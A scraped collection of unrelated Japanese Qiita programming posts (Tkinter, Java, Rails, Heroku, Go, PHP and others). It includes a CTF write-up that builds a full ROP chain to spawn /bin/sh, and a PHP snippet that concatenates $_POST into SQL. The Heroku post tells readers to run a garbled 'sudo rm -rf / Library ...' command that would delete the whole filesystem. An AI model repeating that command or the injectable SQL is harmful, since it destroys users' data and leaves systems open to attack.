OmniAICreator/Qiita-1.07M huggingface dataset:
【Tkinter】Tkinterで電光掲示板のように文字をスクロールする方法

以前、ニコニコ動画のように文字をスクロールするコードを個人用に執筆したが、そのコードを失念してしまったため、自分用の備忘録を兼ねて以下にコードを記載する。

各コードの意味は#でコメントアウトした。

```Python:scroll.py
import tkinter as tk #tkinterのインポート
root = tk.Tk()
root.geometry("1920x80") #geometryだと表示サイズがminsizeより細かく調節できる
canvas = tk.Canvas(bg = "black", width=1920, height=80) #背景を設定
canvas.place(x=0, y=0) #背景を配置

default_x = 1900 #初期x座標
default_y = 5 #初期y座標
x=0 #リストカウント数
text_list=["表示テストをしてみます。今朝はよく晴れています。","今朝の気温は15度です。","今日の最高気温は20度となる見込みです。"] #文言リスト
text_st = tk.StringVar() #文字更新用のStringVarを定義
text_st.set(text_list[x]) #リストのテキストをセット
label1 = tk.Label(textvariable=text_st,font=('',45),background ="black",foreground="orange") #文字を置くラベルの設定
label1.place(x=default_x,y=default_y) #ラベルの初期配置位置を設定


def move(): #動作する関数
    global default_x #x座標を変更
    global x #リスト内要素の現在位置表示
    label1.place_forget() #ラベル消去
    label1.place(x=default_x,y=default_y) #ラベル再配置
    default_x -= 50 #スクロール速さ(xの座標の位置が減少することで、スクロールしているかのように見せている)
    
    n = len(text_list)-1 #リストの要素数を取得
    
    if default_x <=-3000: #画面左端まで文字が到達した場合
        default_x = 1900 #画面右に戻す
        x += 1 #取り込むリストの要素をひとつずらす
        text_st.set(text_list[x]) #StringVarに反映
        if x == n: #xが要素数+1に達した場合
            x=0 #最初にリセット
            text_st.set(text_list[len(text_list)-1]) #要素数の最大値の要素をStringVarに反映
    
for i in range (1,19999): #スクロール繰り返し回数
    root.after(int(i*100),move) #100ミリ秒ごとにスクロール
root.mainloop() #以上のコードの内容を繰り返す

```

root.geometry()とroot.minsize()の違いをいまいちよくわかっていないので、後日わかり次第記載する。
教科書にはあまり載ってない実行時クラスを上書きして急場を凌ぐ話

## これはなんですか？
jarの中にあるクラスや変更できないコンパイル、パッケージング済みライブラリなどについて、挙動を変えたいときにその動作を受け持つクラスの挙動を変えるための秘技。
直接クラスを書き換えたりするのではなく、実行時にメモリ上にロードされたクラスを書き換えるため、ライブラリそのものを書き換えわけではない。

Javaバージョン問わずの話で、この先も大きく変わることはないと思う。
私が最初に触ったJDKは1.4で、最初にこの技法を用いたのは1.5。
その頃からJava 11までずーっと有効でした。

私はJDKの開発者ではないから、クラスがロードされ保持する具体的な仕組みとかはよくわかっていない。また、その説明を仔細に行うものではない。

## 秘技の説明
私はクラスが保持される仕組みは、Javaの挙動から推測するに、概ねマップ(Map<String, Class>)のようなものだと思っている。

ジェネリクスの中の型は、Stringの部分はクラスのフルパス `"java.util.ArrayList"` などで、Classの部分はjava.util.ArrayList.Class。

ロードされる**順番は** -cp class path(s) の引数次第だけど、各種開発環境やビルドツールに隠蔽されよくわからなくなっているが、例えばSpring Bootでmaven＋IDEを使っている場合はだいたい下記のような感じです。
1. JDKのライブラリ `java.*` など
2. dependenciesに書いた依存関係にある
3. src/main
4. src/test (テスト実行しているとき）

数字が大きいほうがあとから読み込まれ、優先される。

かんたんな例だと、 JUnit で @SpringBootTest のテストを書いているとき、 src/main の中に邪魔なスタートアップ処理(1)がある場合、そいつをsrc/mainで上書き(2)して **なかったことに** したりできる。

邪魔なスタートアップ処理(1)

``` java:src/main/java/jp.nreso.project.configure.ApplicationStartup.java
public class ApplicationStartup
    implements ApplicationListener<ApplicationReadyEvent> {
  @Override
  public void onApplicationEvent(final ApplicationReadyEvent event) {
    // Spring Boot起動時に呼ばれる処理で、テストしたいクラスとは関係がないが、邪魔になる処理
    ...
  }
}
```

上記をテスト実行時になかったことにしたい場合の処置(2)

``` java:src/test/java/jp.nreso.project.configure.ApplicationStartup.java
public class ApplicationStartup
    implements ApplicationListener<ApplicationReadyEvent> {
  @Override
  public void onApplicationEvent(final ApplicationReadyEvent event) {
     // ＿人人人人人人人人＿
     // ＞　何も書かない　＜
     // ￣Y^Y^Y^Y^Y^Y^Y^￣
  }
}
```

アラ不思議、テスト実行時にはなんら呼ばれることなく以下省略。

なお、getResource(String)してリソースをとるものであれば、例えばpropertiesやtemplateなども同様に上書きすることができる。

HTTPヘッダにUTF-8み日本語ファイル名を**エンコードせず**入れろという糞みたいな要求について、RFC的にダメだということを説明しても受け入れないファッキンフールな人たち向けに、openapi-generatorのクライアント部分で用いているokhttp3のクラスをこの手法で書き換えて対処したことがある。**苦汁を１ガロンくらい飲んだ上でやむなく実装した。**

処置の内容は `okhttp3.Headers.class` というクラスがヘッダの形式チェックをしている箇所であることを特定し、その部分を少し改造したコードを `src/main/java/okhttp3/Headers.java` としてプロジェクトに配置した。
この処置を行うためには、オープンソースのコードを読んだり、挙動を司る部分を特定する、というスキルが必要です。

最終手段だけど役に立つが、ご利用は計画的にしたほうがよい。
深淵をのぞく時、深淵もまたこちらをのぞいているのだ。

この先はかすれていて読めない
【Rails】結合テストでボタンをクリックしてくれない

# はじめに
結合テストの際にクリックの動作がうまくいかずにエラーが出てしまった時に行った対処法を紹介したいと思います。

# テストの実行

```ruby:spec/system/users_spec.rb
require 'rails_helper'

RSpec.describe 'ユーザー新規登録', type: :system do
  before do
    @user = FactoryBot.build(:user)
  end

  context 'ユーザー登録ができるとき' do
    it '正しい情報を入力すればユーザー新規登録ができてトップページに移動する' do
      # トップページに移動する
      visit root_path
      # トップページにサインアップページへ遷移するボタンがあることを確認する
      expect(page).to have_content('新規登録')
      # 新規登録ページへ移動する
      visit new_user_registration_path
      # ユーザー情報を入力する
      fill_in 'ニックネーム', with: @user.nickname
      fill_in 'メールアドレス', with: @user.email
      fill_in 'パスワード', with: @user.password
      fill_in 'パスワード(確認)', with: @user.password_confirmation
      # 添付する画像を定義する
      image_path = Rails.root.join('public/images/test_image.png')
      # 画像選択フォームに画像を添付する
      attach_file('user[image]', image_path, make_visible: true)
      # サインアップボタンを押すとユーザーモデルのカウントが1上がることを確認する
      expect{
        find('input[name="commit"]').click
      }.to change { User.count }.by(1)
      # トップページへ遷移したことを確認する
      expect(current_path).to eq(root_path)
      # サインアップページへ遷移するボタンやログインページへ遷移するボタンが表示されていないことを確認する
      expect(page).to have_no_content('新規登録')
      expect(page).to have_no_content('ログイン')
    end
  end
end
```

これでテストを実行してみます。

```:ターミナル
% bundle exec rspec spec/system/users_spec.rb
```

# エラーの発生
テストを実行したところ、以下のようなエラーメッセージがでてしまいました。

```:ターミナル
     Failure/Error: find('input[name="commit"]').click
     
     Capybara::Ambiguous:
       Ambiguous match, found 2 elements matching visible css "input[name=\"commit\"]"
```

input[name="commit"]という名前がついたボタンが2つあるためにエラーが起きてしまったようです。
この部分が怪しそうです。

```ruby:spec/system/users_spec.rb
      # サインアップボタンを押すとユーザーモデルのカウントが1上がることを確認する
      expect{
        find('input[name="commit"]').click
      }.to change { User.count }.by(1)
```

# 対処法
記述を以下のように変更したところテストが通りました。

```ruby:spec/system/users_spec.rb
      # サインアップボタンを押すとユーザーモデルのカウントが1上がることを確認する
      expect do
        click_button "登録する"
      end.to change(User, :count).by(1)
```

"登録する"はこちらから取ってます。

```ruby:app/views/devise/registrations/new.html.erb
  <%= f.submit "登録する" %>
```

# 参考文献
今回のエラーの解決にあたり、こちらの記事を参考にさせていただきました。
https://samoant.com/rspec4/
Heroku インストール・バージョンアップ方法


環境
- macOS big sur 11.3


#herokuインストール
herokuｌをインストールするために以下コマンドを入力しました。

```:ターミナル
brew tap heroku/brew && brew install heroku
```

コすると以下の画像のようなエラーメッセージがでました。

![Qiita【herokuインストール1】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/98522fba-fec7-cbfd-1507-e62eb6bf164c.png)

###エラーメッセージを確認する
###Error: Your Command Line Tools (CLT) does not support macOS 11.

```:ターミナル
Error: Your Command Line Tools (CLT) does not support macOS 11.
It is either outdated or was modified.
Please update your Command Line Tools (CLT) or delete it if no updates are available.
Update them from Software Update in System Preferences or run:
  softwareupdate --all --install --force
(以下、続く)

（訳）
コマンドラインツール（CLT）はmacOS11をサポートしていません。
古くなっているか、変更されています。
コマンドラインツール（CLT）を更新するか、更新が利用できない場合は削除してください。
システム環境設定のソフトウェアアップデートから更新するか、以下を実行します。
  softwareupdate --all --install --force
```

先日、macOSをcatalinaからbig surにアップデートしたために、
`コマンドラインツールが対応しなくなってしまった`というエラーでした。

###OSを最新にアップデート
以下のコマンドでOSを最新にアップデートします。

```:ターミナル
softwareupdate --all --install --force
```

再度、以下コマンドを試します。

```:ターミナル
brew tap heroku/brew && brew install heroku
```

状況は変わらなかったために、エラーメッセージを読み進めます。


```:ターミナル
If that doesn't show you any updates, run:
  sudo rm -rf /Library/Developer/CommandLineTools
  sudo xcode-select --install

(訳)
それでも更新が表示されない場合は、次を実行します。
  sudo rm -rf / Library / Developer / CommandLineTools
  sudo xcode-select --install

```
###コマンドラインツールを更新
OSを最新にアップデートしても、状況は変わらなかったので、コマンドラインツールを更新してみます。
以下のコマンドで更新します。

```:ターミナル
sudo rm -rf / Library / Developer / CommandLineTools
sudo xcode-select --install
```

パスワード入力を求めらるので入力します。
以下の画像のようになると、インストーラーが起動するので指示に従いインストールします。

![Qiita【herokuインストール2】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/4856d406-b265-b824-7184-0a16250a94fd.png)

再度、以下コマンドを試します。

```:ターミナル
brew tap heroku/brew && brew install heroku
```

通常は、以上でherokuがインストールされるはずです。

##herokuがインストールされたか確認
インストールが終了したら、下記のコマンドで完了を確認します。

```:ターミナル
heroku --version
```

![Qiita【herokuインストール4】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/4413c221-2bcd-67a5-bc74-769e9f90a4c0.png)

上記のようにバージョンが出力されれば成功です。
（バージョンの値は実際の表示と異なる場合あり）

##herokuのバージョンアップ
私の場合は、すでにherokuがインストールされていてなおかつバージョンが古くなっていました。

![Qiita【herokuインストール3】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/654f3043-6cf4-83dd-1e4c-30c7c68ff6b0.png)

herokuのアップデートには、以下コマンドを入力します。

```:ターミナル
heroku update
```

![Qiita【herokuアップデート】.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1210417/c4b247cb-5f00-77a9-0caa-23739236768f.png)

アップデートが完了しました。

##参考

https://devcenter.heroku.com/articles/heroku-cli

https://anytimesnotes.com/archives/2152
「Communications link failure」MySQL接続エラー

#状況
 `Maven build` したjarファイルを、<font color="DeepPink">WSL2(Ubuntu20.04)</font>上で環境変数付きで実行しようとした際、下記のエラーがでた。
` java -jar ファイル名.jar --spring.profiles.active=local`

###<font color="red">エラー</font>
```
2021-05-19 14:56:37.594 ERROR 384 --- [           main] com.zaxxer.hikari.pool.HikariPool        : HikariPool-1 - Exception during pool initialization.

com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure

The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.

```

#注意
Eclipse上では動いていたけど、ビルドすると `Communications link failure` が出る状況限定です。
###参考 (他の状況で `Communications link failure` が出る場合)
**疎通確認を行う**か(サーバーが起動していない、Javaの設定ファイルのURLのポート番号が間違っている、など)、**タイムアウト時間の設定**を疑おう、とのことです。
[dev.mysql.com](https://dev.mysql.com/doc/connector-j/5.1/en/connector-j-usagenotes-troubleshooting.html#qandaitem-15-1-11)

#今回の解決策
###Windows PowerShellでやる！！！！
jsonのcurlとかであんまり上手くいかなくて、敬遠してた *Windows PowerShell* がまさかのです。←エスケープとかややこしい印象です。
~~Windows触るときに、Git操作では使っていますよw~~

```
java -jar ファイル名.jar --spring.profiles.active=local
```
**c.f.** Macの方は

```
java -jar -Dspring.profiles.active=local ./ファイル名
```
でいけたと思います。

#感想
なんやかんや、Windows上での開発のコマンド操作はWSL2上でやっていたけど、今回はまさかの、Windows PowerShellが解決策だったとは！ww
(Mac使いなので、macOSのTerminalライクに使えるwsl2ばかり使ってます)
WaniCTF'21-spring pwn 04 rop machine normal Writeup

WaniCTF'21-spring pwn 04 rop machine normal

# 問題

```
# ./pwn04

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
```

syscall があるので execve("/bin/sh",null,null) を狙えとのこと。

syscallに飛ばすときのレジスタの状態を知っているかどうかの知識問題

|レジスタ  |値  |
|---|---|
|RDI  |"/bin/sh"のアドレス  |
|RSI  |0x0  |
|RDX  |0x0  |
|RAX  |0x3b (59 execve) |

流れ

```
# ./pwn04

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 9
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
# ls
peda-session-pwn02.txt	pwn02  pwn02.c	pwn02.py  pwn03  pwn03.c  pwn03.py  pwn04  pwn04.c

```
Jupyter Notebookで(y/n)?の対処法

#概要

Jupyter Notebookでなにかをアンインストールしたりするときに

```python
!pip uninstall "アンインストールするもの"
```
これを実行すると

```python
Found existing installation:
Uninstalling :
  Would remove:
    /Users/usr/Library/Python/3.9/lib/python/site-packages/
"Proceed (y/n)?"
```

上の"　"で囲まれているような
返答が必要なものが返ってくることがあります
今回はそれの対処法について説明します

#対処法
!echo (y or n) |をつけることです！

実際に使うとこんな感じ

```python
!echo y | pip uninstall "アンインストールするもの"
```

echoはコマンドなのでjupyter notebookで使用するときは
はじめに!を付ける必要があります

これでshift+Enterで対応できます
n(no)であればｙの部分をnに変えてください

#まとめ

```python
Proceed (y/n)?#これの返事をしたければ

!echo (y/n) | pip uninstall "アンインストールするもの"
```
Railsのバッチログにだけ何故かタイムスタンプが出なくて困った話

## 前提

環境は以下

||version|
|:-|:-|
|Ruby|3.0.0|
|Rails|6.1|


## 何が起きたか？

該当のアプリケーションはwebとバッチがありました。
webのログは以下の感じ

```
[INFO] [2021-05-19 14:51:28 +0900] [7bdeb84a-a422-40b3-9a54-65c3248ec863] ログ内容
```

バッチのログは以下の感じ。

```
[INFO] ログ内容
```

バッチ処理にタイムスタンプが出ていない。

## 原因

log_tagsの設定が原因。
タイムスタンプが出ていなかった時の設定がこちら。

```ruby:config/initializers/logger_formatter.rb
class Logger
  class Formatter
    def call(severity, time, progname, msg)
      "[#{severity}] #{msg}\n"
    end
  end
end
```

```ruby:config/application.rb
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = Logger::Formatter.new
config.log_tags  = [ ->(req){ Time.now }, :request_id ]
config.logger = ActiveSupport::TaggedLogging.new(logger)
```

formatterの方でseverityとmsgを出し、log_tagsの方でtimeとrequest_idを出す設定になっていました。

### log_tagsとは

[公式リファレンス](https://railsdoc.com/page/config_log_tags)

```ruby
config.log_tags = [:uuid, :remote_ip]
```
が指定できることは分かったがこれが何故バッチ処理側に適用されないのかが分からなかった。

次にたどり着いたのがこちらの[ブログ](https://kingyo-bachi.blogspot.com/2014/11/rails.html)
つまりrequestオブジェクトの要素をログに追加するという仕組み。
ブログ内ではuser_agentを指定している。
バッチ処理に関してはrequestオブジェクトが存在しないためこれらの情報がないのでログに出なかったということ。
確かに言われてみればrequest_idも出ていなかった。

## 解決策

タイムスタンプを出力するのをlog_tagsではなくfomatterの方で設定する。

```ruby:config/initializers/logger_formatter.rb
class Logger
  class Formatter
    def call(severity, time, progname, msg)
      "[#{severity}] [#{time}] #{msg}\n"
    end
  end
end
```

```ruby:config/application.rb
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = Logger::Formatter.new
config.log_tags  = [:request_id]
config.logger = ActiveSupport::TaggedLogging.new(logger)
```

こうすることでwebもバッチも両方ともタイムスタンプが出るようになった。

webのログ

```
[INFO] [2021-05-19 15:03:47 +0900] [316ce8f4-d059-4336-a954-270e590e74a2] ログ内容
```

バッチのログ

```
[INFO] [2021-05-19 15:05:35 +0900] ログ内容
```

バッチにはrequestオブジェクトがないのでrequest_idが出てないのは正しい。

## まとめ

log_tagsに関してあまり詳しい情報がなく調べるのに苦労しました。
調べた記事を読みつつ
「ふぅん？requestの要素が指定できるのか。
user_agentとか出せるのね、なるほどなるほど。
ん？バッチ処理においてuser_agentとか分かるのか？」
っていう思考で解決策にいきつきました。
同じ問題でハマっている人の助けになればと思います。
めぐる式二分探索法をGoで実装する

簡単に調べて、Qiitaで見つからなかったので

# 参考文献

- [めぐる式二分探索](https://twitter.com/meguru_comp/status/697008509376835584)
- [めぐる式二分探索の紹介](https://qiita.com/drken/items/97e37dd6143e33a64c8c)

# 実装

```golang
package main

import (
	"math"
)

var a = [10]int{1, 14, 32, 51, 51, 51, 243, 419, 750, 910}

func abs(x int) int {
	return int(math.Abs(float64(x)))
}

func isOK(index, key int) bool {
	return a[index] >= key
}

func binarySearch(key int) int {
	ng := -1
	ok := len(a)

	for abs(ok-ng) > 1 {
		mid := (ok + ng) / 2

		if isOK(mid, key) {
			ok = mid
		} else {
			ng = mid
		}
	}
	return ok
}

func main() {
}
```

# テスト


```golang
// データ
// var a = [10]int{1, 14, 32, 51, 51, 51, 243, 419, 750, 910}

func TestBinarySearch(t *testing.T) {
	// 範囲外（左端) 気になるなら期待値は -1 であるように実装を変えてもいいかも
	got := binarySearch(0)
	want := 0
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
	// 範囲外（右端)
	got = binarySearch(911)
	want = 10
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
	// 13が以上が条件を満たす。最小のindexは a[1] = 14 なので 1
	got = binarySearch(13)
	want = 1
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
	// 14が以上が条件を満たす。最小のindexは a[1] = 14 なので 1
	got = binarySearch(14)
	want = 1
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
	// 15が以上が条件を満たす。最小のindexは a[2] = 32 なので 2
	got = binarySearch(15)
	want = 2
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
	// 51が以上が条件を満たす。a[x] = 51 な xの中で、最小のindexは 3
	got = binarySearch(51)
	want = 3
	if got != want {
		t.Errorf("binarySearch() = %d, want %d", got, want)
	}
}


```

# 付録: データを外だししたくない人向け

```golang
package main

import (
	"math"
)

func abs(x int) int {
	return int(math.Abs(float64(x)))
}

func isOK(a *[]int, index, key int) bool {
	return (*a)[index] >= key
}

func binarySearch(a *[]int, key int) int {
	ng := -1
	ok := len(*a)

	for abs(ok-ng) > 1 {
		mid := (ok + ng) / 2

		if isOK(a, mid, key) {
			ok = mid
		} else {
			ng = mid
		}
	}
	return ok
}

func main() {
	var a = []int{1, 14, 32, 51, 51, 51, 243, 419, 750, 910}
	println(binarySearch(&a, 51) == 3)
}

```
【MySQL】PHP $_POSTの値をデータベースに挿入する

PHPで作成したフォーム等から受け取った$_POSTの値をMySQLデータベースに挿入する方法をメモ。

###DB接続
どのデータベースにどのユーザーが何のパスワードで接続しようしているかを記述。

```php
$db = new PDO('mysql:dbname=[データベース名];localhost=[ホスト名またはIPアドレス];charset=utf8mb4','[ユーザー名]','[ログインパスワード]');
```
例えば、
・データベース名:mydb
・ホスト:ローカルホスト(ローカルホストの場合は、localhostか127.0.0.1と記述する)
・ユーザー名:root
・パスワード:root
の場合

```php
//例)
$db = new PDO('mysql:dbname=mydb;localhost=127.0.0.1;charset=utf8mb4','root','root');
```
オプションを記述する場合

```php
$db = new PDO('mysql:dbname=mydb;localhost=127.0.0.1;charset=utf8mb4','root','root',
         [
             PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION(オプション例),
             PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC(オプション例),
         ]
     );
```

###MySQLにデータを挿入する
($_POST配列にデータが入っている前提)
「exec」を使って挿入する場合。
ただし、セキュリティ的に次の「prepare」を使う方が良い。

```php
$db->exec('INSERT INTO [テーブル名] SET [カラム名]="'.$_POST['[カラム名]'].'"');
```

「prepare」を使う場合

```php
$statment = $db->prepare('INSERT INTO [テーブル名] SET [カラム名]=?');
     $statment->execute(array($_POST['[カラム名]']));
```
C# エクセル文書の背景に色と画像を追加

<p> </p>
<p><strong>今回はSpire.XLSという無料のライブラリを活用して、エクセル文書の背景に色と画像を追加する方法を紹介します。</strong></p>
<h4><strong>下準備</strong></h4>
<p><strong>1.E-iceblueの公式サイトから<a href="https://www.e-iceblue.com/Download/download-excel-for-net-free.html">Free Spire.XLS</a><a href="http:// https//www.e-iceblue.com/Download/download-excel-for-net-free.html"> </a>無料版をダウンロードしてください。</strong></p>
<p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/l/lendoris/20210519/20210519144411.png" alt="f:id:lendoris:20210519144411p:plain" title="" class="hatena-fotolife" itemprop="image" /></p>
<p><strong>2.Visual Studioを起動して新規プロジェクトを作成してから、インストールされたファイルにあった相応しいSpire.XLS.dllを参照に追加してください。</strong></p>
<p><strong>（Net 4.0を例としたら、デフォルトパスは“Bin→NET4.0→XLS.dll”というようです。）</strong></p>
<p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/l/lendoris/20210519/20210519144429.png" alt="f:id:lendoris:20210519144429p:plain" title="" class="hatena-fotolife" itemprop="image" /></p>
<h4><strong>背景に色</strong></h4>
```C#
using Spire.Xls;
using System.Drawing;
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            //エクセルファイルをロードします。
            Workbook workbook = new Workbook();
            workbook.LoadFromFile("Sample.xlsx");
            Worksheet sheet = workbook.Worksheets[0];

            //Excel Rangeで背景に色を設定します。
            sheet.Range["A1:E1"].Style.Color = Color.LightSeaGreen;

            sheet.Range["A2:E19"].Style.Color = Color.Green;

            sheet.Range["A20:E38"].Style.Color = Color.DeepSkyBlue;

            //保存します。
            workbook.SaveToFile("SetBackgroundColor.xlsx", ExcelVersion.Version2010);



        }
    }
}
```
<h4><strong>実行結果</strong></h4>
<p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/l/lendoris/20210519/20210519145354.png" alt="f:id:lendoris:20210519145354p:plain" title="" class="hatena-fotolife" itemprop="image" /></p>
<h4><strong>背景に画像</strong></h4>
```C#
using Spire.Xls;
using System.Drawing;
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            //ファイルをロードします。
            Workbook workbook = new Workbook();
            workbook.LoadFromFile("Sample.xlsx");
            Worksheet sheet = workbook.Worksheets[0];

            //画像を追加します。
            Bitmap bm = new Bitmap(Image.FromFile("logo.png"));
            sheet.PageSetup.BackgoundImage = bm;

            //保存します。
            workbook.SaveToFile("SetBackgroundimage.xlsx", ExcelVersion.Version2010);


        }
    }
}
```
<h4><strong>実行結果</strong></h4>
<p><img src="https://cdn-ak.f.st-hatena.com/images/fotolife/l/lendoris/20210519/20210519145437.png" alt="f:id:lendoris:20210519145437p:plain" title="" class="hatena-fotolife" itemprop="image" /></p>
<p> </p>
Voronoi線図の外縁

# 何の話？
![voronoi2d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/706455/988cff44-9143-c4a9-a1ee-11178cec3a98.png)
Voronoi線図が何かという説明は省きます。上のような図を見て、この図の外側はどうなってるのかな？という疑問を持った人向けの記事です。それは恐らく、

 - 自分でVoronoi線図を描くプログラムを実装しよう
 - 図を描くだけでなく、そのデータ構造を使って～しよう

という、私と同じ動機を持った方々だと思いますので、そのような方々のお役に立てれば幸いです。

# Voronoi線図を描く方法
Voronoi線図を描く方法は幾つも知られていますが、個人的にはDelaunay三角形分割を先にするのが一番良いと考えます。たとえば上図の同じ点群に対して、次のようなDelaunay線図が描けます。
![delaunay2d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/706455/0d627951-9004-1729-be9b-eb3110baf9b7.png)
良く知られているように、Delaunay線図とVoronoi線図は双対関係にあります。上の二つの図を次のように重ねれば、各Voronoi節点が各三角形の外心になっている様子がお分かり頂けると思います。
![delaunay_voronoi2d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/706455/dbc9202f-002e-05ba-5a80-eb2819887955.png)
したがって全ての三角形について、その外心と、隣接する三つの三角形の外心とをそれぞれ線分で結んでやれば（そして線分の重複描画を許容するならば）、Voronoi線図を描くことができます。ただし図を描くだけでなく、データ構造としてVoronoi細胞（各々の点を取り囲む多角形）を作りたいならば、もうひと手間必要です。

Delaunay線図の構成要素は三角形だけで、しかも与えられた点群の凸包内に全て収まるので、データの持ち方で悩むことはあまりありません。一方Voronoi線図の方は、外縁にある点群に対するVoronoi細胞が非有界領域になります。つまり理論上、無限遠点に延びる稜線が現れます。外縁でない点のVoronoi細胞と違ってループが閉じませんし、そもそも無限遠点はプログラムでは表せません。これどうするの？というのが本記事の関心事項です。

# Voronoi線図の外縁＝Delaunay三角形分割の外縁の外心
Delaunay三角形分割をする際には、「与えられた点群を内包する三角形」を最初に作り、それを用いて三角形分割した後、最初に作った大きな三角形の頂点を含む三角形群（外縁三角形群）を削除する、という手順をとります。
![delaunay2d_outer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/706455/a31e87ad-e5f3-3a8c-91b2-cc9082a1666d.png)
上の図では最後の手順を省き、外縁三角形群を残してあります。そしてその三角形群も含めれば、全ての三角形の外心によって「閉じた」Voronoi細胞のみを構成することができます。実際に描いたものが次の図です。
![delaunay_voronoi2d_outer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/706455/41451da2-1bd9-81d3-5e84-ff9abd9ba077.png)
Voronoi線図を描いたときの関心領域は点群近辺に集まっているので、上図のVoronoi細胞の外縁は実用上十分遠方にあると考えて差し支えありません。

なお、上記に用いた計算は[Zeo](https://github.com/mi-lib/zeo)に実装されています。
 - [zeo_voronoi2d.c](https://github.com/mi-lib/zeo/blob/main/src/zeo_voronoi2d.c)

# おまけ：Delaunay三角形分割とVoronoi線図のアルゴリズム実装について
繰り返しになりますが、Voronoi線図を描く一番良い方法は、Delaunay三角形分割を先にすることだと私は考えます。「良い」というのは、アルゴリズムのシンプルさとロバストさの二つの観点からです。計算量の観点からは逐次添加法で直接Voronoi線図を求めてしまう方が良いのでしょうが、それをロバストに実装するのは難易度がそこそこ高いです（腕に覚えがある人は挑戦しても良いかも知れません）。
[参考図書（計算幾何工学, 杉原厚吉, 培風館）](https://www.amazon.co.jp/%E8%A8%88%E7%AE%97%E5%B9%BE%E4%BD%95%E5%B7%A5%E5%AD%A6-%E3%82%A2%E3%83%89%E3%83%90%E3%83%B3%E3%82%B9%E3%83%88%E3%82%A8%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AD%E3%83%8B%E3%82%AF%E3%82%B9%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA-%E6%9D%89%E5%8E%9F-%E5%8E%9A%E5%90%89/dp/4563036420)
一方、Delaunay三角形分割は計算自体が元々誤差に対し強いので、特に工夫しなくともロバストさを期待できます。
GiNZA使ってみた

大学の研究に際してGiNZAにふれる機会が合ったので備忘録的に書いておきます

#環境
- Python 3.6.8
- pyenv 1.2.24.1-6-g132d5464
- pip 21.0.1

# install
公式のgithubを見てインストールしました

https://github.com/megagonlabs/ginza

## (面倒な人へ)インストールコマンド

```
pip install -U ginza
```

# ロードと解析

こんな感じのプログラム書いてみました．``昨日から胃がキリキリと痛い``という文の形態素解析をしてもらいましょう

## program

```python:analy.py
import spacy

nlp = spacy.load('ja_ginza')
doc = nlp('昨日から胃がキリキリと痛い。')

for sent in doc.sents:
    for token in sent:
        print(token.i, token.orth_, token.lemma_, token.pos_, token.tag_, token.dep_, token.head.i)
    print('EOS')
```

## output

```console:
$ python analy.py

0 昨日 昨日 NOUN 名詞-普通名詞-副詞可能 obl 6
1 から から ADP 助詞-格助詞 case 0
2 胃 胃 NOUN 名詞-普通名詞-一般 nsubj 6
3 が が ADP 助詞-格助詞 case 2
4 キリキリ キリキリ NOUN 名詞-普通名詞-一般 obl 6
5 と と ADP 助詞-格助詞 case 4
6 痛い 痛い ADJ 形容詞-一般 ROOT 6
7 。 。 PUNCT 補助記号-句点 punct 6
EOS
```

左から単語・見出し語・品詞タグ・品詞情報・依存関係ラベル・係り先の単語インデックスを表示しています．
この中にあるNOUN・ADPやnmod・nsubjという文字列はUniversal Dependencyというプロジェクトで定義されているラベルらしいです

# 主語と述語を抜き出す

nsubjというラベルが主語述語の係り受けなので，nsubjのラベルを持っているトークンと係り受け先のトークンをペアとします.

## program

